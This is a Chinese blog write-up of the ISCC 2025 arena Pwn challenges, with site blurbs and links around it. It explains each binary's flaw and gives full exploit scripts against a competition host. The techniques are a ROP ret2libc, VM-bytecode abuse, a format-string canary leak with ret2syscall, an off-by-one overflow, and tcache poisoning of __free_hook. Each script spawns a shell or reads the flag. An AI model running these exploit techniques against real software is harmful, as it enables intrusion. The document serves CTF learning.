2025 ISCC 擂台赛Pwn-wp(含附件)

【信息安全领域】第22届ISCC信息安全与对抗技术竞赛通知:赛程安排、竞赛类别及参赛规则详细介绍了文档的核心内容 内容概要:本文档为第22届信息安全与对抗技术竞赛(ISCC 2025)的通知。ISCC自2004年创办以来,已成功举办21届,是信息安全、密码学、网络安全等领域的重要赛事。本次竞赛分为三个赛段:线上选拔赛、线下初赛和线下决赛。线上选拔赛涵盖选择题、Web、逆向、Pwn、杂项和移动安全等多个类别,参赛者需在规定时间内提交flag。线下初赛和决赛将分别于2025年5月1日8:00至5月18日20:00举行,涉及选择题、解题类和攻防类比赛形式。竞赛评分标准包括选择题15%、解题类25%和攻防类60%,并设有详细的比赛规则和奖项设置。竞赛由信息安全与对抗技术实验室主办,提供官方网站和联系方式供参赛者查询。 适合人群:对信息安全、密码学、网络安全等领域感兴趣的高校学生、研究人员和从业人员。 使用场景及目标:①帮助参赛者提升信息安全领域的理论知识和技术能力;②促进信息安全领域的人才培养和技术交流;③推动信息安全技术的发展和应用。 其他说明:竞赛官网为[http://www.isclab.org.cn](http://www.isclab.org.cn),提供详细的竞赛规则、赛程安排和往届比赛资料。参赛者可通过邮箱iscc2004@163.com或QQ群1029907327、361578344获取更多信息。竞赛采用CTF(Capture The Flag)形式,分为解题类和攻防类两种比赛模式。解题类包括选择题、Web、逆向、Pwn、杂项和移动安全等题目类型,攻防类则模拟真实网络环境进行攻防演练。 立即下载

前言

擂台赛的体验还是不错的,都是师傅们用心出的题目,但是为什么那么多vm pwn???

通过网盘分享的文件:2025ISCC擂台赛Pwn全部附件.rar
链接: https://pan.baidu.com/s/1y_zdFltMZmCxfxalS9EuCw?pwd=xidp 提取码: xidp

解出

能力有限,很多方法可能并不是最优解,如果有师傅有好的方法愿意分享的话我会非常感谢的

call

![[Pasted image 20250514105709.png]]

checksec查看程序保护,发现程序没有开启pie保护以及canary保护
![[Pasted image 20250514105743.png]]

程序存在明显的栈溢出
![[Pasted image 20250514105750.png]]

直接溢出打ROP泄露libc地址然后执行system("/bin/sh")即可
完整exp如下

from xidp import *
#---------------------初始化----------------------------
arch = 64
elf_os = 'linux'
challenge = "./call"
libc_path = './libc6_2.31-0ubuntu9.17_amd64.so'
ip = '101.200.155.151:12100'
# 1-远程 其他-本地

link = 1
io, elf, libc = loadfile(challenge, libc_path, ip, arch, elf_os, link)
debug(0)            # 其他-debug   1-info
# context.terminal = ['tmux', 'splitw', '-h']

#---------------------初始化-----------------------------

#---------------------debug------------------------------

# 断点
cmd = """
    set follow-fork-mode parent\n
    """
bps = []
#---------------------debug-------------------------------
# pwndbg(0, bps, cmd)
pop_rdi_ret = 0x0000000000401273#: pop rdi; ret
pop_rsi_r_ret = 0x0000000000401271#: pop rsi; pop r15; ret;
ret = 0x000000000040101a#: ret;
payload = b'a'*0x68
payload += p64(pop_rdi_ret)
payload += p64(1)
payload += p64(pop_rsi_r_ret)
payload += p64(elf.got['write'])
payload += p64(0)
payload += p64(elf.plt['write'])
payload += p64(elf.sym['main'])
sdla("My name is\n", payload)

write_addr = uu64()
leak("write_addr")
libc_base = write_addr - libc.sym['write']  
system_addr = libc_base + libc.sym['system']
binsh_addr = libc_base + next(libc.search(b'/bin/sh'))
payload = b'a'*0x68
payload += p64(pop_rdi_ret)
payload += p64(binsh_addr)
payload += p64(system_addr)
sdla("My name is\n", payload)

ia()

![[Pasted image 20250516202743.png]]

vm_pwn

![[Pasted image 20250514105947.png]]

保护全开的一道vm pwn题
![[Pasted image 20250514110017.png]]

程序逻辑比较常规,放入deepseek也可以分析出大概,总之程序的大致逻辑就是先让用户输入一大段内容当做后续的指令来执行
本题相对简单不过多阐述逆向过程,主要在于使用gdb去调试,查看输入的值被移动到了什么地方,为了方便读者逆向下面提供我已经逆向出的结构体,导入IDA中即可使用

struct VMContext {
uint64_t regs[4];
uint64_t ip_offset;
uint64_t *rsp;
uint64_t *code_base;
uint64_t reserved;
uint64_t *rbp;
};

导入方法可以参考这篇文章:IDA技巧——结构体-软件逆向-看雪-安全社区|安全招聘|kanxue.com

各函数的分析结果如下:

sub_12D5 → vm_fetch_opcode // 从指令流中读取1字节操作码
sub_132C → vm_read_imm_qword // 从指令流读取8字节立即数(用于MOV等指令的立即数操作)
sub_1393 → vm_stack_push // 压栈操作(带栈溢出检查)
sub_1432 → vm_stack_pop   // 出栈操作(带栈溢出检查)

各个分支的分析结果如下

操作码指令名称行为描述
0x00MOV REG, IMM将立即数存入寄存器
0x01LOAD REG, [MEM]从内存加载数据到寄存器
0x02STORE [MEM], REG将寄存器值存入内存
0x03MOV REG1, REG2寄存器间数据传输
0x04CALL函数调用(压栈返回地址)
0x05POP REG弹栈到寄存器
0x06EXECUTE执行函数指针
0x07JMP IMM无条件跳转到指定地址
0x08RET从函数返回
0x09NOP空操作
0x0AADD REG, IMM寄存器加立即数
0x0BSUB REG, IMM寄存器减立即数
分析后的程序如下

![[Pasted image 20250514122609.png]]

![[Pasted image 20250514122644.png]]

![[Pasted image 20250514122738.png]]

![[Pasted image 20250514122749.png]]

这里先给出完整的exp,exp上面写出了我的利用过程以及每个选项的作用供大家理解分析

from xidp import *

#---------------------初始化----------------------------
arch = 64
elf_os = 'linux'

challenge = "./pwn2"
libc_path = './libc.so.6'
ip = '101.200.155.151:20000'
# 1-远程 其他-本地
link = 2
io, elf, libc = loadfile(challenge, libc_path, ip, arch, elf_os, link)

debug(0)            # 其他-debug   1-info
# context.terminal = ['tmux', 'splitw', '-h']
#---------------------初始化-----------------------------

#---------------------debug------------------------------
# 自定义cmd
cmd = """
    set follow-fork-mode parent
    x/60gx $rebase(0x4000)
    heap
    """
# 断点
bps = [0x014FF]
#---------------------debug-------------------------------

def mov_imm(reg, imm):
    """操作码 0x00: 将 8 字节立即数存入寄存器"""
    """0x00, reg_idx, <8B立即数>"""
    return flat(p8(0), p8(reg, signed=True), p64(imm, signed=True))  

def load_ptr_reg(ptr_reg_addr, target_reg):
    """操作码 0x01: 寄存器间接加载 (src -> dst)"""
    """0x01, target_reg = *ptr_reg_addr"""
    return flat(
            p8(1),
            p8(ptr_reg_addr, signed=True),  # 允许为负数
            p8(target_reg, signed=True)
            )

def store_ptr_reg(reg, target_reg):
    """操作码 0x02: 寄存器间接存储 (src -> [dst])"""
    """0x02, *target_reg = reg"""
    return flat(p8(2), p8(reg), p8(target_reg))  # <bb + b → p8+p8+p8

def mov_reg1_reg2(reg1, reg2):
    """操作码 0x03: 寄存器间移动 (src -> dst)"""
    """0x03, reg2 = reg1"""
    return flat(p8(3), p8(reg1), p8(reg2))  # <bb + b → p8+p8+p8

def push(reg_idx):
    """操作码 0x04: 压栈"""
    """0x04, push reg; stack_rbp-0x8"""
    return flat(p8(4), p8(reg_idx))  # <bB → p8+p8

def pop(reg_idx):
    """操作码 0x05: 出栈"""
    """0x05, pop reg stack_rbp+0x8"""
    return flat(p8(5), p8(reg_idx))  # <bB → p8+p8

def call(reg_idx):
    """操作码 0x06: 调用寄存器指向的函数"""
    """call reg"""
    return flat(p8(6), p8(reg_idx))  # <bB → p8+p8

def jmp_reg(reg_idx):
    """操作码 0x07: 跳转寄存器指向的地址"""
    """0x07, jmp reg 但是对跳转的范围有限制,所以我们不使用他"""
    return flat(p8(7), p8(reg_idx))  # <bB → p8+p8

def vm_exit():
    """操作码 0x08: 虚拟机退出"""
    return p8(8)  # b → p8

def add(reg, imm):
    """操作码 0x0A: 寄存器加立即数"""
    return flat(p8(0xA), p8(reg), p64(imm))  # <bbQ → p8+p8+p64

def sub(reg, imm):
    """操作码 0x0B: 寄存器减立即数"""
    return flat(p8(0xB), p8(reg), p64(imm))  # <bbQ → p8+p8+p64

puts_offset = libc.sym['puts']
system_offset = puts_offset- libc.sym['system']
bin_sh_offset = next(libc.search(b'/bin/sh')) - puts_offset

leak("puts_offset")
leak("system_offset")
leak("bin_sh_offset")

# VM_list = 0x04060

pwndbg(1, bps, cmd)

payload = load_ptr_reg(-11, 1)
payload += sub(1, 0x78)
payload += load_ptr_reg(1, 0)
payload += load_ptr_reg(1, 2)
payload += add(0, bin_sh_offset)
payload += sub(4, system_offset)
payload += call(4)

put(payload)

sda("Enter bytecode: ", payload)

ia()

利用思路:

  1. 既然我们有call的功能,那么我们只需要让 reg0 为 binsh地址 然后随便找个寄存器放入 system的地址 然后call一下就可以了
  2. 那么我们就需要知道libc的基地址然后再libc中利用偏移找到binsh地址和system地址就可以了
  3. 想要知道libc基地址其实我们也很容易想到就是去got表里面拿,那么我们想要知道got表的地址就需要知道程序基地址
  4. 经过调试我们可以注意到 0x04008 off_4008 里面存放的指针是指向他自己的
    ![[Pasted image 20250517132644.png]]

![[Pasted image 20250517132716.png]]

![[Pasted image 20250517133432.png]]

  1. 那么我们就可以利用这个地址获得got表地址,然后通过got表中的内容得到libc地址,再通过libc地址得到我们需要的binsh和system,最后call一下就拿到shell了

exp的利用过程如下

  1. 执行 load_ptr_reg(-11, 1) 和 sub(1, 0x78)
    先将这个地址放入到reg1寄存器中,然后通过加减把它变成指向puts的got表
    ![[Pasted image 20250517132951.png]]

![[Pasted image 20250517133606.png]]

![[Pasted image 20250517133020.png]]

  1. 然后通过 load_ptr_reg(1, 0) load_ptr_reg(1, 2) 两条指令将 puts_addr 放入 reg0 和 reg2中
  2. add(0, bin_sh_offset) sub(2, system_offset) 通过对于偏移量的加减分别计算出 binsh 和 system地址
  3. 直接 call~~~~~~~~ 拿到shell

![[Pasted image 20250516204106.png]]

Enc++

![[Pasted image 20250517134925.png]]

导入sig恢复部分的符号表
下面是导入 libc6_2.35-0ubuntu3_amd64.sig 后的main函数的样子
![[Pasted image 20250517140922.png]]

漏洞点在main函数中存在格式化字符串的漏洞,sub_406142函数中存在read溢出
![[Pasted image 20250517141401.png]]

![[Pasted image 20250517141315.png]]

经过分析程序的大致逻辑就是说让用户输入,然后用户输入的东西会经过解密,然后成为printf的参数,在下面符合条件 qword_932170 == 1 就可以进入sub_406142函数中利用read溢出打ret2syscall

那么其实逻辑也很简单,就是分析这个加密解密的过程,我们自己将加密的东西输入让程序解密,以此来利用格式化字符串来泄露canary和修改qword_932170全局变量

这里可能疑惑的点是为什么有canary,明明checksec显示是没有的,可能是因为老版本的checksec是利用函数名字来判断有无canary的,符号表被去掉后就分析不出来了
![[Pasted image 20250517141735.png]]

分析可知加密逻辑如下:

程序对接收到的数据进行Base64解码后,按照以下规范解析加密参数: 
1. 前32字节作为AES-256-CBC加密密钥(KEY) 
2. 紧随的16字节作为初始化向量(IV) 
3. 剩余部分作为待解密的密文(miwen)

程序可以循环两次,一次用于泄露canary,以此用于修改qword_932170
![[Pasted image 20250517144240.png]]

在IDA中查看字符串可以发现/bin/sh,这像是一个提示,和/bin/sh 一起的还有我们解密所需要的密钥和向量
![[Pasted image 20250517144813.png]]

![[Pasted image 20250517144844.png]]

用AI分析跑出一个加密脚本

# AES configuration
AES_KEY = b"aewfdefsebrfcyiseygfeaisfygaseiw"
AES_IV = b"iscc20250ca81aff"

def aes_encrypt(plaintext: bytes) -> bytes:
	cipher = AES.new(AES_KEY, AES.MODE_CBC, AES_IV)
	padding = b"\x00" * (16 - len(plaintext) % 16)
	ciphertext = cipher.encrypt(plaintext + padding)
	return base64.b64encode(ciphertext).decode('utf-8')

运行到 call printf 处查看栈内存,题目已经将 qword_932170的地址 放入栈中以此来减少我们的难度
![[Pasted image 20250517150721.png]]

然后就是非常简单的使用格式化字符串泄露和修改随后打read溢出的ret2syscall

完整exp如下:

from xidp import *
from Crypto.Cipher import AES
from base64 import b64encode
#---------------------初始化----------------------------
arch = 64
elf_os = 'linux'
challenge = "./pwn"
libc_path = ''
ip = '101.200.155.151:21000'

# 1-远程 其他-本地
link = 2
io, elf, libc = loadfile(challenge, libc_path, ip, arch, elf_os, link)

debug(0)            # 其他-debug   1-info
#---------------------初始化-----------------------------
#---------------------debug------------------------------
# 自定义cmd
cmd = """
    set follow-fork-mode parent\n
    """
# 断点
bps = [0x406262, 0x4062A2]
#---------------------debug-------------------------------
# pwndbg(1, bps, cmd)

pop_rax_ret = 0x0000000000411dc6#: pop rax; ret;
pop_rdi_ret = 0x000000000040788b#: pop rdi; ret;
pop_rsi_ret = 0x000000000040797b#: pop rsi; ret;
pop_rdx_ret = 0x00000000004bc453#: pop rdx; ret;
syscall_ret = 0x0000000000707d66#: syscall; ret;
syscall = 0x00000000004c2e22#: syscall;
binsh = 0x00000000007c70c2#: /bin/sh

# pwndbg(0, bps, cmd)

AES_KEY = b"aewfdefsebrfcyiseygfeaisfygaseiw"
AES_IV = b"iscc20250ca81aff"


def aes_encrypt(plaintext: bytes) -> bytes:
	cipher = AES.new(AES_KEY, AES.MODE_CBC, AES_IV)
	padding = b"\x00" * (16 - len(plaintext) % 16)
	ciphertext = cipher.encrypt(plaintext + padding)
	combined = AES_KEY + AES_IV + ciphertext
	return base64.b64encode(combined).decode('utf-8')

# pwndbg(0, bps, cmd)

# 泄露canary
payload = aes_encrypt(b"%15$p_aaaa")
sdla("please input your date:", payload)
canary = eval(io.recvuntil(b'_aaaa', drop=True))
leak("canary")

# 修改qword_932170
payload = aes_encrypt(b"%c%7$n")
sdla("please input your date:", payload)


payload = b'a'*40
payload += p64(canary)
payload += p64(0)
payload += p64(pop_rax_ret)
payload += p64(59)
payload += p64(pop_rdi_ret)
payload += p64(binsh)
payload += p64(pop_rsi_ret)
payload += p64(0)
payload += p64(pop_rdx_ret)
payload += p64(0)
payload += p64(syscall)
sdl(payload)

ia()

![[Pasted image 20250517153059.png]]

好累啊,感觉快燃尽了

book_manager

![[Pasted image 20250517153237.png]]

漏洞点在 main->search->sub_402262 和 main->display 中
这里有off-by-one漏洞,可以通过v12覆盖掉canary结尾的\x00以此使得printf能够泄露canary的值
![[Pasted image 20250517155015.png]]

在display中将输出的数据都放入的v22和v23中,但是没有检查,所以我们可以通过大量构造book结构体以此来达成溢出
![[Pasted image 20250517163513.png]]

这里 a1 其实是一个结构体,需要修复一下的,具体如下,修复后就如上图所示了

struct BookInfo
{
  int ID;
  char Title[50];
  _BYTE gap36[2];
  __int64 TitleLength;
  char Author[30];
  __int64 AuthorLength;
  char Publisher[40];
  __int64 PublisherLength;
};

所以我们的利用方法就是,先使用search来获得canary,然后利用add创建多个book用于溢出
得到canary后构造携带ROP的books,计算好溢出,使用save保存后调用display函数就可以溢出打ROP
我们构造的ROP里面是调用load函数去打开flag文件并且输出

完整exp如下:

from xidp import *
#---------------------初始化----------------------------
arch = 64
elf_os = 'linux'
challenge = "./book_manager"
libc_path = ''
ip = '101.200.155.151:23000'

# 1-远程 其他-本地
link = 1
io, elf, libc = loadfile(challenge, libc_path, ip, arch, elf_os, link)

debug(0)            # 其他-debug   1-info
#---------------------初始化-----------------------------
#---------------------debug------------------------------
# 自定义cmd
cmd = """
    set follow-fork-mode parent\n
    hex 0x04E9580 2000\n
    """
# 断点
bps = [0x0040345B]
#---------------------debug-------------------------------
def add(title = b'a'*50, author = b'a'*30, publisher = b'a'*40):
    sdla(b'>', b'1')
    sda(b'Title', title)
    sda(b'Author', author)
    sda(b'Publisher', publisher)
    
def dele(idx):
    sdla(b'>', b'2')
    sdla(b'Enter book ID to delete: ', str(idx))

def modify(idx):
    sdla(b'>', b'3')
    sdla(b'Please choose: ', str(1))
    sdla(b'Enter book ID to modify: ', str(idx))

def search(name):
    sdla(b'>', b'4')
    sdla(b'Please choose: ', str(2))
    sdla(b'Enter author name: ', name)

def display():
    sdla(b'>', b'5')

def save():
    sdla(b'>', b'6')

def sort():
    sdla(b'>', b'7')

def load():
    sdla(b'>', b'8')

flag_addr = 0x4e9b2d # 因为程序没有pie所以这个是固定地址
load_func = 0x40340C
pop_rdi_ret = 0x0000000000401a42
ret = 0x0000000000401a43

# 这里使用一个search函数来泄露canary
sdla(b'>', b'4')
sdla(b'choose', b'2')
sda(b'name', b'a' * 40)
rcu(b'a'*40 + b'\n')
canary = u64(rc(7).ljust(8, b'\x00')) << 8
leak("canary")

# 多次填充
for i in range(8):
    add(b'a'*50, b'b'*30, b'c'*40) # 一个为0x99
add(b'a'*12, b'b'*1, b'c'*3)

# pwndbg(0, bps, cmd)
payload = p64(canary) + p64(0) + p64(ret) + p64(pop_rdi_ret) + p64(flag_addr) + p64(load_func)
# add(payload, b'a'*20 + b'\x00./flag\x00\x00\x00', b'a'*40) #本地
add(payload, b'a'*20 + b'\x00/flag\x00\x00\x00\x00', b'a'*40) #远程

save() # 保存一下
display() # 会将books的内容以及标题放入栈中,没有进行检测,存在溢出

# pwndbg(0, bps, cmd)  

ia()

![[Pasted image 20250517161419.png]]

感受是一道很创新的题目呢

迷途之子

![[Pasted image 20250517165854.png]]

里面有一个迷宫游戏,用AI写一个迷宫脚本

from collections import deque
from typing import List, Tuple, Optional

class MazeNavigator:

    MAZE_SIZE = 256
    TARGET_FLAG = (0x80, 0x80)
    def __init__(self, maze_data: List[int]):
        self.maze = self._normalize_maze(maze_data)
        self.movement = [  # 移动方向配置
            {'dx': 0, 'dy': 1, 'code': 'd'},  # 右
            {'dx': 1, 'dy': 0, 'code': 's'},  # 下
            {'dx': 0, 'dy': -1, 'code': 'a'}, # 左
            {'dx': -1, 'dy': 0, 'code': 'w'}  # 上
        ]

    def _normalize_maze(self, data: List[int]) -> List[List[int]]:
        if isinstance(data[0], int):
            return [data[i*self.MAZE_SIZE:(i+1)*self.MAZE_SIZE]
                   for i in range(self.MAZE_SIZE)]
        return data
        
    def _update_flags(self, move: str, curr_flags: Tuple[int, int]) -> Tuple[int, int]:
        f1, f2 = curr_flags
        if move == 'a':
            return (max(0, f1 - 1), f2)
        if move == 'd':
            return (min(0xFF, f1 + 1), f2)
        if move == 'w':
            return (f1, max(0, f2 - 1))
        if move == 's':
            return (f1, min(0xFF, f2 + 1))
        return curr_flags

    def find_optimal_path(self) -> Optional[str]:
        State = Tuple[int, int, List[str], int, int]
        initial_state: State = (0, 0, [], 0x00, 0x00)
        bfs_queue = deque([initial_state])
        visited_states = set()
        while bfs_queue:
            x, y, path, flag_a, flag_d = bfs_queue.popleft()
            # 终止条件检查
            if (flag_a, flag_d) == self.TARGET_FLAG:
                return ''.join(path)
            # 状态去重
            state_key = (x, y, flag_a, flag_d)
            if state_key in visited_states:
                continue
            visited_states.add(state_key)
            # 遍历移动方向
            for direction in self.movement:
                new_x = x + direction['dx']
                new_y = y + direction['dy']
                # 边界和障碍检查
                if not (0 <= new_x < self.MAZE_SIZE and 0 <= new_y < self.MAZE_SIZE):
                    continue
                if self.maze[new_x][new_y] != 0:
                    continue
                # 更新状态
                new_flags = self._update_flags(direction['code'], (flag_a, flag_d))
                new_path = path + [direction['code']]
                bfs_queue.append( (new_x, new_y, new_path, *new_flags) )
        return None

if __name__ == '__main__':
    # 初始化迷宫数据
    maze_data = []  # 这里填充实际迷宫数据
    navigator = MazeNavigator(maze_data)
    result_path = navigator.find_optimal_path()
    if result_path:
        print(f"成功生成路径,长度:{len(result_path)}")
        try:
            with open("maze_solution.txt", "w") as output_file:
                output_file.write(result_path)
        except IOError as e:
            print(f"写入文件失败:{str(e)}")
    else:
        print("未找到可行路径")

得到结果,需要在最后加上一个q用于退出
![[Pasted image 20250517172732.png]]

解决这个迷宫之后我们就可以得到read函数的地址,也就是白送一个libc地址
![[Pasted image 20250517172847.png]]

然后下面就是堆题
![[Pasted image 20250517172914.png]]

但是这个堆本身没有什么漏洞,漏洞在迷宫当中,迷宫中的选项 s 会将user[0]也就是第一个堆块的低字节的第三位+1,从此导致堆块发生重叠
![[Pasted image 20250517173052.png]]

执行 game("sq") 之前
![[Pasted image 20250517173453.png]]

![[Pasted image 20250517173534.png]]

执行 game("sq") 之后
在这里插入图片描述

我们可以观察到 0x55555556b2a0 的 next指针 从 0x000055555556b2d0 变成了 0x000055555556b3d0
这就是game中的漏洞,由此我们可以造成堆块重叠

完整exp如下:

from xidp import *
#---------------------初始化----------------------------
arch = 64
elf_os = 'linux'
challenge = "./pwn_patched"
libc_path = './libc.so.6'
ip = '101.200.155.151:22000'
# 1-远程 其他-本地
link = 1
io, elf, libc = loadfile(challenge, libc_path, ip, arch, elf_os, link)

debug(0)            # 其他-debug   1-info
#---------------------初始化-----------------------------
#---------------------debug------------------------------
# 自定义cmd
cmd = """
    set follow-fork-mode parent\n
    x/30gx $rebase(0x0014080)\n
    x/30gx $rebase(0x14070)\n
    """
# 断点
bps = [0x0017A0]
#---------------------debug-------------------------------
#----------------------heap_menu--------------------------
menu = ">>"  
def add(content = b"xidp"):  
    sdla(menu, str(1))  
    sda("Enter name (up to 24 chars):", content)  

def free(idx):  
    sdla(menu, str(2))  
    sda("Index:", str(idx))  

def edit(idx, content = "xidp"):  
    sdla(menu, str(3))  
    sdla("Index: ", str(idx))  
    sda("New name:", content)  

def game(payload):  
    sdla(menu, str(4))  
    sda("Game started! (WASD to move, Q to quit)", payload)
#--------------------------heap_menu--------------

game_payload = "ddsdddssdddddddsssdssddsdddssssddssssdssssddddddssdddsdsdsdssssssssddsssssddsssdsssssssssssddddssssddssssdsdssdssddssssssssssddddsssssdsddddsssdddddddsssdsssdddsdddsssssdsdsdddsddddsssssdssdddddsssssddddsdddsdsdddddddddddddsssdssssdddsdsddddddsddddddssdddsq"
  
add() # 这里需要创建一个初始chunk后续才能进入game中
game(game_payload)
read_addr = uu64()
leak("read_addr")
libc_base = read_addr - libc.sym['read']
free_hook = libc_base + libc.sym['__free_hook']
system_addr = libc_base + libc.sym['system']
bin_sh = libc_base + next(libc.search(b'/bin/sh'))
leak("libc_base")
leak("free_hook")
leak("system_addr")
leak("bin_sh")


for i in range(7):
    add()  

# 倒序释放将tcahcebins的0x30填满
for i in range(6, -1, -1):
    free(i)


# pwndbg(1, bps, cmd)  

# 这会修改usrs[0]的低三位+1,从而导致bins结构发生重叠
game("sq")
payload = p64(0) + p64(free_hook-0x8)
edit(6, payload)
add()
add()
add(p64(system_addr))

payload = p64(0) + b'/bin/sh\x00'
edit(6, payload)
# pwndbg(1, bps, cmd)
free(1)

ia()

在这里插入图片描述

mini pwn (赛后复现,感谢tw11ty师傅指导)

![[Pasted image 20250517174342.png]]

不是哥们,又是VM pwn???

程序开始时qword_40C0为1

![[1.png]]

![[2.png]]

Case5中有一个syscall,我们可以构造execve(“/bin/sh”, 0, 0),构造之前需要设置qword_40C0为0

![[3.png]]

在case3中,开始就会将qword_40C0设置为0, 随后会执行如下图字节码,
![[4.png]]

它将设置系统调用号为0,然后执行syscall,再自动执行case 4

![[5.png]]

Case4中,会判断v5 = *(qword_4060 + 4024) == 0;,通过判断结果来重新设置LOBYTE(qword_40C0) = !v5;在默认情况下qword_40C0会被设置为1,所以可以利用程序中的机器码unk_20B4 来构造read(0, (qword_4060 + 4024), 0x100)从而使得(qword_4060 + 4024) == 0;成立,使得v5为1,最终得到qword_40C0为0,随后就可以利用syscall来构造execve(“/bin/sh”, 0, 0),从而得到shell

抽象exp:

from xidp import *
#---------------------初始化----------------------------
arch = 64
elf_os = 'linux'

challenge = "./pwn"
libc_path = '/lib/x86_64-linux-gnu/libc.so.6'
ip = '101.200.155.151:24000'

# 1-远程 其他-本地
link = 2
io, elf, libc = loadfile(challenge, libc_path, ip, arch, elf_os, link)

debug(0)            # 其他-debug   1-info
# context.terminal = ['tmux', 'splitw', '-h']
#---------------------初始化-----------------------------

#---------------------debug------------------------------
# 自定义cmd
cmd = """
    set follow-fork-mode parent\n
    """
# 断点
bps = []
#---------------------debug-------------------------------
# pwndbg(1, bps, cmd)

opcodes = b''
operands = b''

def pop_reg0(imm):
    global opcodes, operands
    opcodes += struct.pack("<bb", 1, 0)
    operands += struct.pack("<Q", imm)
def pop_reg0_8(imm):
    global opcodes, operands
    opcodes += struct.pack("<bb", 1, 1)
    operands += struct.pack("<Q", imm)
def pop_reg1(imm):
    global opcodes, operands
    opcodes += struct.pack("<bb", 1, 2)
    operands += struct.pack("<Q", imm)
def pop_reg1_8(imm):
    global opcodes, operands
    opcodes += struct.pack("<bb", 1, 3)
    operands += struct.pack("<Q", imm)
def pop_reg2(imm):
    global opcodes, operands
    opcodes += struct.pack("<bb", 1, 4)
    operands += struct.pack("<Q", imm)
def pop_reg3_8(imm):
    global opcodes, operands
    opcodes += struct.pack("<bb", 1, 5)
    operands += struct.pack("<Q", imm)
def pop_reg3(imm):
    global opcodes, operands
    opcodes += struct.pack("<bb", 1, 6)
    operands += struct.pack("<Q", imm)

def push_reg0():
    global opcodes
    opcodes += struct.pack("<bb", 2, 0)
def push_reg0_8():
    global opcodes
    opcodes += struct.pack("<bb", 2, 1)
def push_reg1():
    global opcodes
    opcodes += struct.pack("<bb", 2, 2)
def push_reg1_8():
    global opcodes
    opcodes += struct.pack("<bb", 2, 3)
def push_reg2():
    global opcodes
    opcodes += struct.pack("<bb", 2, 4)
def push_reg3_8():
    global opcodes
    opcodes += struct.pack("<bb", 2, 5)
def push_reg3():
    global opcodes
    opcodes += struct.pack("<bb", 2, 6)
def xor_reg0():
    global opcodes
    opcodes += struct.pack("<bb", 6, 0)
def xor_reg0_8():
    global opcodes
    opcodes += struct.pack("<bb", 6, 1)
def xor_reg1():
    global opcodes
    opcodes += struct.pack("<bb", 6, 2)
def xor_reg1_8():
    global opcodes
    opcodes += struct.pack("<bb", 6, 3)
def xor_reg2():
    global opcodes
    opcodes += struct.pack("<bb", 6, 4)
def xor_reg3_8():
    global opcodes
    opcodes += struct.pack("<bb", 6, 5)
def xor_reg3():
    global opcodes
    opcodes += struct.pack("<bb", 6, 6)

def add_reg0():
    global opcodes
    opcodes += struct.pack("<bb", 7, 0)
def add_reg0_8():
    global opcodes
    opcodes += struct.pack("<bb", 7, 1)
def add_reg1():
    global opcodes
    opcodes += struct.pack("<bb", 7, 2)
def add_reg1_8():
    global opcodes
    opcodes += struct.pack("<bb", 7, 3)
def add_reg2():
    global opcodes
    opcodes += struct.pack("<bb", 7, 4)
def add_reg3_8():
    global opcodes
    opcodes += struct.pack("<bb", 7, 5)
def add_reg3():
    global opcodes
    opcodes += struct.pack("<bb", 7, 6)

def sub_reg0():
    global opcodes
    opcodes += struct.pack("<bb", 8, 0)
def sub_reg0_8():
    global opcodes
    opcodes += struct.pack("<bb", 8, 1)
def sub_reg1():
    global opcodes
    opcodes += struct.pack("<bb", 8, 2)
def sub_reg1_8():
    global opcodes
    opcodes += struct.pack("<bb", 8, 3)
def sub_reg2():
    global opcodes
    opcodes += struct.pack("<bb", 8, 4)
def sub_reg3_8():
    global opcodes
    opcodes += struct.pack("<bb", 8, 5)
def sub_reg3():
    global opcodes
    opcodes += struct.pack("<bb", 8, 6)
def flag():
    global opcodes
    opcodes += struct.pack("<b", 3)
def sys():
    global opcodes
    opcodes += struct.pack("<b", 5)

# 虽然上面定义了很多函数,但是实际用到的没几个
pop_reg0(0x3b)  
pop_reg1_8(0x8) # read(0, flag, 0x10)  --> reg1_8=0x10
push_reg3()  
pop_reg1(1)  
[add_reg1() for i in range(1014)]       # reg1=flag_addr
flag()
push_reg3()    
pop_reg0_8(1)
[add_reg0_8() for i in range(3)]
xor_reg1()
xor_reg1_8()
xor_reg2()
sys()
xor_reg3()
operands += b'/bin/sh\x00'
sdl(operands)
sdl(opcodes)
sdl(p64(0))

ia()

![[Pasted image 20250518234218.png]]

未解出

太多了,实在是打不动了,有空再复现吧,如果有师傅做出来下面我没有解出的题目非常欢迎来和我交流

命令执行器

复读机

安全云盘

Bash

ISCC竞赛全解析:新手入门与进阶指南.pdf 内容概要:本文详细介绍了全国大学生信息安全与对抗技术竞赛(ISCC)的全貌,包括其背景、赛项设置、参赛流程以及备赛策略。ISCC由北京理工大学罗森林教授于2004年发起,旨在提升信息安全意识、普及相关知识和技术,发现和培养网络安全人才。竞赛分为线上挑战赛和线下对抗赛两大类,涵盖破阵夺旗赛、无限擂台赛、数据安全赛、博弈对抗赛和智能安全赛等多种形式,考验选手在密码学、逆向工程、漏洞挖掘、数据安全等领域的实战能力。文章还提供了详细的参赛全流程指南,包括组队与报名、赛制与晋级路径,以及针对新手的基础技能储备、实战训练资源和团队协作分工等方面的建议。; 适合人群:对信息安全感兴趣的学生群体,尤其是计划参加ISCC竞赛的大学生、研究生及中小学生。; 使用场景及目标:①帮助新手了解ISCC竞赛的基本情况和参赛流程;②为参赛者提供系统的备赛策略和技术指导;③引导参赛者合理安排时间,避免常见误区,提高心理调适能力。; 其他说明:ISCC不仅是技术竞技的舞台,更是国家网络安全战略的重要支撑。参赛不仅能提升个人技能,还能为未来学术和职业发展带来显著优势。建议参赛者在备赛过程中注重理论与实践相结合,关注行业前沿动态,积极参与模拟训练和团队协作。 立即下载

相关推荐

Unity游戏开发客户端面经——设计模式(初级)

Unity游戏开发客户端面经 之 设计模式 篇

Sea3752的博客 9429

ISCC2021——wp

文章目录一、MISC(二)Retrieve_the_passcode(二)海市蜃楼-1(三)区块链(四)小明的宠物兔(五)小明的表情包二、Mobile(一)Mobile Normal(二)Mobile Easy三、Reverse(一)Garden(二)Analysis 一、MISC (二)Retrieve_the_passcode ARCHPR不能破解RAR5.0版本的rar文件 import numpy as np import matplotlib.pyplot as plt from mpl_tool

m0_46296905的博客 2045

编程小白的自学笔记四(正则表达式模块search函数)

本文仅仅简单介绍了search的使用,供小白学习探讨。

m0_49914128的博客 2320

ISCC-2022 部分wp

深知大多数初中级Java工程师,想要提升技能,往往是自己摸索成长或者是报班学习,但对于培训机构动则近万的学费,着实压力不小。自己不成体系的自学效果低效又漫长,而且极易碰到天花板技术停滞不前!因此收集整理了一份《Java开发全套学习资料》送给大家,初衷也很简单,就是希望能够帮助到想自学提升又不知道该从何学起的朋友,同时减轻大家的负担。

m0_67393342的博客 1870

